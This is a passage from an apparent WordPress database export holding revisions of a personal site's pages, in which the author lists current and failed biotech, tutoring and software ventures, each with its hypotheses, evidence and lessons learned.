age-related conditions are caused by [ ].</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>[ ] is a therapeutic which can treat that specific cause.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining [ ] with [ ] makes it safer, more effective, and easier to tolerate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>This will also apply to cats.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The evidence</strong>:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Studies in [ ] in humans, [ ] in dogs, and [ ] in mice.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some of our previous work.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running trials and looking for partners. Good so far!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for autoimmune conditions that aren\'t well-treated by biologics</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>A lot of autoimmune conditions are well-treated by biologics. But there are some that fall through the cracks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>For example, chronic spontaneous urticaria is a condition in which cyclosporine is recommended as a treatment following failures of biologics. My conversations with experts in the field suggest roughly 10% of people fail biologics.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Moreover, in countries with poor healthcare, or in people with poor health insurance, biologics are often unavailable or impossibly expensive.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cyclosporine is a commonly used immunosuppressant for chronic spontaneous urticaria as well as other autoimmune conditions. However, it has problems, including severe side effects and difficulties with administration.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining cyclosporine with [ ]would reduce side effects, make it easier to administer cyclosporine, and ultimately make life easier for people with that condition.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Surprisingly, there are case reports with the combination of cyclosporine and metabolic inhibitors. They show good results, and they show the combination is safe in humans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vitro experiment also showed good results.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vivo experiments have also had good results. Next stop: clinical. </li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status: </strong>patent secured, funding mode activated. Find out more on highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"></h3>\n<!-- /wp:heading -->','Current projects','','inherit','closed','closed','','2-revision-v1','','','2025-07-03 17:50:28','2025-07-03 17:50:28','',2,'https://trevorklee.com/?p=462',0,'revision','',0),
(463,1,'2025-07-03 17:52:08','2025-07-03 17:52:08','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for levodopa-induced dyskinesia in Parkinson\'s</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Dyskinesia in Parkinson\'s is poorly treated. It\'s a serious problem, and the only real solutions are amantadine and deep brain stimulation.  Amantadine is not an easy drug: it can cause nightmares and hallucinations. Deep brain stimulation requires invasive surgery.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Dyskinesia in Parkinson\'s is caused by dopaminergic dysfunction, which can be treated by NMDA antagonists. This should be a safe, effective treatment which will produce dramatic results that are easy to see (unlike, say, disease modifying treatments for Parkinson\'s, which are masked by levodopa until levodopa stops working).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Other dyskinesias will also benefit from this therapeutic.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Not enough to make it worthwhile.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not every interesting scientific idea is a business. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for glutamate excitoxicity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Glutamate excitoxicity isn\'t responsible for all neurodegeneration. However, there is some neurodegeneration that is caused by glutamate excitoxicity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>In neurodegeneration that is caused by glutamate excitoxicity, NMDA antagonists will prove effective.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Neurodegeneration, on the whole, is poorly treated and frankly terrifying. For ALS, traumatic brain injuries with neurodegeneration, Alzheimer\'s, etc. , there is really nothing that can be done currently.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: not enough to be worthwhile</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: It\'s really, really expensive and difficult to get to the point of getting real evidence for treatments of neurodegeneration. Any neurodegenerative treatment, in order to get funding, needs to follow what people already expect will help neurodegeneration. Out-of-the-box ideas are very tough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for chronic heart failure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Despite being common, chronic heart failure is not well treated. If there are no obvious causes (and there usually aren\'t), care is more palliative than curative.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The unfolded protein response is a major cause of damage in chronic heart failure, and, when untreated, can lead to decline in heart function.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some combination of TUDCA, 4-PBA, and a sigma-one receptor agonist can treat this major cause of damage.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>ER Stress definitely occurs in heart failure (it makes sense, there\'s a lot of damage happening all around).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Medications to alleviate ER stress (TUDCA, 4-PBA) help in mouse models of heart failure, which are done mechanically.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sigma one receptor agonists can help in animal models of heart failure, seemingly by acting as molecular chaperones in the ER.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>someone beat me to it. They tested sertraline, an antidepressant with significant affinity for the sigma one receptor, in patients with depression and heart failure. It helped the depression but not the heart failure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More broadly, there was a big problem with the gap between the animal model and the human condition. Humans experience heart failure chronically. There\'s no equivalent of mechanically restricting the aortic valve. So I think there\'s definitely something missing about the model.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Using RNAi for agriculture</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: RNAi can be used to delete any RNA strands that it matches with. It could be used as an agricultural technique for pesky pests. For example, oysters are often devastated by herpes. Infecting the oysters with a bacteria that produces RNAi to target the RNA of herpes could be effective prevention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are a lot of pretty amazing papers showing the use of RNAi against various types of pests. The original one I saw showed RNAi being effectively used in honeybees against the agents responsible for colony collapse disorder.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: there are a lot of RNAi companies that have tried and failed. I think it\'s a combination of a mess of patents, difficulty with scaling up RNA production to be cost effective, and the caution people have for \"genetic engineering\". </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Exploring ketamine for blood pressure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: never quite got there. Something to do with raising blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Ketamine raises blood pressure, which is surprising for a dissociative. This is probably because it inhibits the norepinephrine transporter, and norepinephrine is used to raise blood pressure. Ketamine is also an anesthetic. Surgeons use it to anesthetize while raising blood pressure, as anesthesia/surgery can lower blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: blood pressure and arrhythmia are really specific. We have pretty good tools for most stuff with blood pressure, and any new tools probably need to be very specific. Also, ketamine on its own isn\'t a good tool to market, because you can\'t patent protect it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">The roles of anything other than autoimmunity in type I diabetes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis: </strong>there might be other sides of diabetes besides autoimmunity that could be targeted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>eh...there\'s suggestive stuff around the animal models, but nothing convincing in human models. Plus, it\'s hard to argue with how effective monoclonal antibodies have been in autoimmunity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I should avoid autoimmune diseases without monoclonal antibodies. They\'re just too good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Treating obesity-related asthma/inflammation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d be possible to alleviate obesity-related asthma (and other obesity-related disorders) with natural extracts that would have a beneficial effect both on inflammation and on weight/insulin resistance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be better than the first-line treatment for inflammation, which is corticosteroids, which are notorious for weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are suggestive papers around curcumin, thymoquinone, and osthole regarding reducing inflammation and encouraging weight loss. Also, using corticosteroids as anti-inflammation in obesity-related diseases is weird, considering how notorious corticosteroids are for causing weight gain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, I never knew how far to trust the papers on these sort of \"natural\" remedies, as they always seem to be by people with an agenda for these natural remedies who found exactly the biomarkers they looked for. Then, when I was even trying to clearly link to inflammation at all to obesity-related asthma, I find it\'s really only a disease found in women, and I had zero hypotheses for htat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: obesity and inflammation are really complicated. It\'s probably best not to mess with obesity, and inflammation is really best with a monoclonal antibody. Tnf-alpha inhibitors do pretty great with inflammation, although they have severe side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><a href=\"http://get21stnight.com\" data-type=\"URL\" data-id=\"http://get21stnight.com\"><span style=\"color:#0f2ec8\" class=\"has-inline-color\">My studying app, 21st Night</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Spaced repetition is a really useful way to memorize things that isn\'t used enough. This is because it\'s boring, somewhat difficult to incorporate with the rest of learning, and is somewhat counterintuitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A studying app based around spaced repetition that allows notes and a study plan, is gamified, and encourages but does not force spaced repetition will be popular with students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Looking at Anki\'s success stories, it\'s obvious that spaced repetition can be useful. However, Anki needs an explainer just to be useful. And, judging from personal experience, as well as the experience of students, it\'s easy to bounce off or slack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed:</strong> Educational apps are rough. There\'s not a lot of money in them, and especially not a lot of money for anything other than content. Also, my lack of programming ability made development slow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>If you\'re going to succeed with apps, you should be able to program so you\'re not reliant on someone else for velocity. Also, </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">$1 live classes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> a good way to make some money would be to offer $1 live classes to mass groups of people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: eh... none, really. I just offered it and see how it went.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: it\'s hard to make money that way. Processing fees are murder on $1 classes (most of them charge some amount of cents per processing fee). Plus, I just don\'t like teaching live classes that much. It\'s pretty stress inducing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: pay attention to processing fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">SAT/ACT tutoring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> I could hire Harvard undergrads to tutor kids in the SAT/ACT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed: </strong>I didn\'t really like it. I don\'t like the college admissions game or dealing with undergrads. The entire thing felt bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I wish it was \"don\'t try to do what you don\'t particularly like\", but that was a repeated mistake I made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Selling prerecorded LSAT lectures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could sell my live LSAT classes as a recording.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I was always aware that the LSAT, if they found out, would likely sue me, as I was using their copyrighted material and they\'re notoriously litigious. So, it made it hard to promote.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned:</strong> Either invite lawsuits or don\'t, but don\'t half-ass invite a lawsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other businesses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Group buying for restaurants</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could lower costs for food businesses by group buying for them, or at least finding out the price from food vendors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: I was aware that price discovery for wholesale food was really hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: food businesses don\'t want to talk to people they don\'t know about their invoices, in part because a lot of them are cheating on their taxes. Also, didn\'t have a convincing sales pitch because I didn\'t know anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: don\'t get involved in businesses you don\'t know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Automated invoice entry</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d make my group buying business easier if I could automate invoice entry (see the problem here?). Also maybe I could sell the invoice entry app.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I did almost no research on what options were out there, and just went with my instinct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Automated receipt extraction from email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: something similar to Slice, where receipts would get extracted from the email. Not sure why I thought this was a good idea, to be honest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><b>W</b><strong>hy it failed</strong>: I did almost no research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>research beforehand (I learned this again).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Collaborative to-do list instead of email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: considering how many emails are either to-dos or checking on to-dos, it\'d be better if that was simply built into the email instead. I even created a name/app for it, <a href=\"http://nomorefollowups.com\">nomorefollowups.com</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: seemed self-evident, but the big question was always if people were willing to let it be part of their email process</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I initially planned it to be something my brother\'s company would use, which he agreed to. Then they got crazy busy, and no longer wanted to change any of their task management processes. I lost interest in promoting it because I never was that into it in the first place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: if you\'re not willing to put in a lot of hours into promoting your business (e.g. if you don\'t really like the space), don\'t start it.</p>\n<!-- /wp:paragraph -->','Failed projects','','inherit','closed','closed','','12-autosave-v1','','','2025-07-03 17:52:08','2025-07-03 17:52:08','',12,'https://trevorklee.com/?p=463',0,'revision','',0),
(464,1,'2025-07-03 17:52:26','2025-07-03 17:52:26','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for levodopa-induced dyskinesia in Parkinson\'s</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Dyskinesia in Parkinson\'s is poorly treated. It\'s a serious problem, and the only real solutions are amantadine and deep brain stimulation.  Amantadine is not an easy drug: it can cause nightmares and hallucinations. Deep brain stimulation requires invasive surgery.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Dyskinesia in Parkinson\'s is caused by dopaminergic dysfunction, which can be treated by NMDA antagonists. This should be a safe, effective treatment which will produce dramatic results that are easy to see (unlike, say, disease modifying treatments for Parkinson\'s, which are masked by levodopa until levodopa stops working).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Other dyskinesias will also benefit from this therapeutic.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Not enough to make it worthwhile.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not every interesting scientific idea is a business. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for glutamate excitoxicity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Glutamate excitoxicity isn\'t responsible for all neurodegeneration. However, there is some neurodegeneration that is caused by glutamate excitoxicity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>In neurodegeneration that is caused by glutamate excitoxicity, NMDA antagonists will prove effective.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Neurodegeneration, on the whole, is poorly treated and frankly terrifying. For ALS, traumatic brain injuries with neurodegeneration, Alzheimer\'s, etc. , there is really nothing that can be done currently.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: not enough to be worthwhile</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: It\'s really, really expensive and difficult to get to the point of getting real evidence for treatments of neurodegeneration. Any neurodegenerative treatment, in order to get funding, needs to follow what people already expect will help neurodegeneration. Out-of-the-box ideas are very tough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for chronic heart failure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Despite being common, chronic heart failure is not well treated. If there are no obvious causes (and there usually aren\'t), care is more palliative than curative.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The unfolded protein response is a major cause of damage in chronic heart failure, and, when untreated, can lead to decline in heart function.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some combination of TUDCA, 4-PBA, and a sigma-one receptor agonist can treat this major cause of damage.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>ER Stress definitely occurs in heart failure (it makes sense, there\'s a lot of damage happening all around).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Medications to alleviate ER stress (TUDCA, 4-PBA) help in mouse models of heart failure, which are done mechanically.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sigma one receptor agonists can help in animal models of heart failure, seemingly by acting as molecular chaperones in the ER.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>someone beat me to it. They tested sertraline, an antidepressant with significant affinity for the sigma one receptor, in patients with depression and heart failure. It helped the depression but not the heart failure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More broadly, there was a big problem with the gap between the animal model and the human condition. Humans experience heart failure chronically. There\'s no equivalent of mechanically restricting the aortic valve. So I think there\'s definitely something missing about the model.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Using RNAi for agriculture</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: RNAi can be used to delete any RNA strands that it matches with. It could be used as an agricultural technique for pesky pests. For example, oysters are often devastated by herpes. Infecting the oysters with a bacteria that produces RNAi to target the RNA of herpes could be effective prevention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 